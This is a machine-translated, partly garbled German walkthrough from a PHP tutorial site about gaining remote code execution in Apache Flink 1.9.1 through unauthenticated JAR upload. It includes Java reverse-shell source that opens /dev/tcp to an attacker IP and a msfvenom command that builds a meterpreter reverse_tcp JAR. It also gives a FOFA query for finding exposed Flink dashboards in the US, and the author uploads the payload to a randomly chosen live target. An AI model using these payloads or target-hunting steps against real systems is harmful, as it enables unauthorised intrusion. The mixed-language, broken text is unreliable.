Beispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird

WBOY
Freigeben: 2023-05-15 13:01:13
nach vorne
1603 Leute haben es durchsucht

Beschreibung der Sicherheitslücke:

Am 11. November 2019 hat der Sicherheitsingenieur Henry Chen eine Sicherheitslücke offengelegt, die es Apache Flink ermöglicht, JAR-Pakete ohne Autorisierung hochzuladen, was zur Remote-Codeausführung führt. Da auf das Apache Flink Dashboard standardmäßig ohne Authentifizierung zugegriffen werden kann, kann eine Shell erhalten werden, indem ein bösartiges JAR-Paket hochgeladen und die Ausführung von bösartigem Code ausgelöst wird.

Einflussbereich

<= 1.9.1 (neueste Version)

Umgebungsaufbau:

(1) Java im Voraus installieren (erfordert Java8 oder höher)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Flink herunterladen- 1.9.1

Download-Adresse: https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Entpacken Sie das komprimierte Paket und laden Sie es herunter:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
Nach dem Login kopieren

(4) Gehen Sie in das dekomprimierte Verzeichnis und in das Bin-Verzeichnis:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Starten Sie den Flink:

./start-cluster.sh
Nach dem Login kopieren

(6) Überprüfung des Browserzugriffs (der Standardport ist 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Wenn das obige Bild erscheint, ist die Konstruktion erfolgreich.

(7) Richten Sie den automatischen Start beim Booten ein (ich habe hier seit einer Weile Probleme Lange Zeit und ich kann die Quelle /etc /rc.d/rc.local nicht starten, aber Flink wird nach dem Neustart nicht gestartet. Endlich wurde eine Lösung gefunden)

apache flink任意jar包上传导致远程代码执行的示例分析

Einstellungen für den automatischen Start beim Booten

Wiederkehr der Sicherheitslücke:

JAR-Paket-Produktionsschritte:

(1) Informationen zur Verwendung von Java finden Sie im Artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu Binden Sie die Shell erneut ein. Denken Sie daran, die IP-Adresse und den Port zu ändern: Dann auswählen das entsprechende Java-Projekt und der Exportpfad sowie der Exportdateiname

apache flink任意jar包上传导致远程代码执行的示例分析

Bild

wie folgt: Ein JAR-Paket für die Rebound-Shell wird generiertapache flink任意jar包上传导致远程代码执行的示例分析

MSF generiert JAR-Pferd:

(1) Verwenden Sie msfvenom, um ein JAR-Pferd zu generieren:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析">(2) Öffnen Sie das Listening-Modul von msf und hören Sie auf Port 9999 (zur Verwendung mit unserem Jar. Der vom Pferd festgelegte Port ist konsistent)<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
Nach dem Login kopieren

apache flink任意jar包上传导致远程代码执行的示例分析(3) Nach dem Hochladen des von uns generierten Jar-Pferdes und dem Absenden Darin (siehe Reproduktion unten für diesen Teil des Vorgangs) können Sie sehen, dass wir die Shell erfolgreich erhalten haben:

apache flink任意jar包上传导致远程代码执行的示例分析

Lokale Reproduktion:

(1) Zugriffsziel:

(2) Klicken Sie auf „Neuen Auftrag senden“, um die Seite zum Hochladen des JAR-Pakets zu öffnen:


(3) Klicken Sie auf „Neu hinzufügen“, um das von uns erstellte JAR-Paket auszuwählen:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Überwachen Sie den Port auf unserer Maschine (dem JAR). (5) Klicken Sie auf das Glaspaket, das wir gerade hochgeladen haben: apache flink任意jar包上传导致远程代码执行的示例分析Internetseite:

fofa-Schlüsselwörter:

"Apache-Flink-Dashboard" && Land="US"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) Finden Sie ein zufälliges Ziel:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klicken Sie auf „Neuen Auftrag senden“. Sie können sehen, dass wir damit das JAR hochladen können Pakete

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Verwenden Sie die Funktion von flink, um das JAR-Paket hochzuladen, um unser JAR-Paket hochzuladen:

#🎜 🎜## 🎜🎜#apache flink任意jar包上传导致远程代码执行的示例分析(4) Nach dem Hochladen überwachen wir den Port auf unserem VPS

(5) Gehen Sie dann zurück zum Browser, wählen Sie das gerade hochgeladene JAR-Paket aus und Klicken Sie auf „Senden“. Sie können sehen, dass unser VPS die Shell erfolgreich empfangen hat. Empfohlene Einstellungen Firewall-Richtlinie: Erlauben Sie nur Whitelist-IPs den Zugriff auf den Apache-Flink-Dienst und fügen Sie Digest-Authentifizierung für den Dienst im Web-Proxy hinzu (z. B. Apache httpd).

Achten Sie immer auf die offizielle Website und warten Sie auf neue Versionen oder Patch-Updates

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Remote-Codeausführung, die durch das Hochladen eines JAR-Pakets in Apache Flink verursacht wird. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!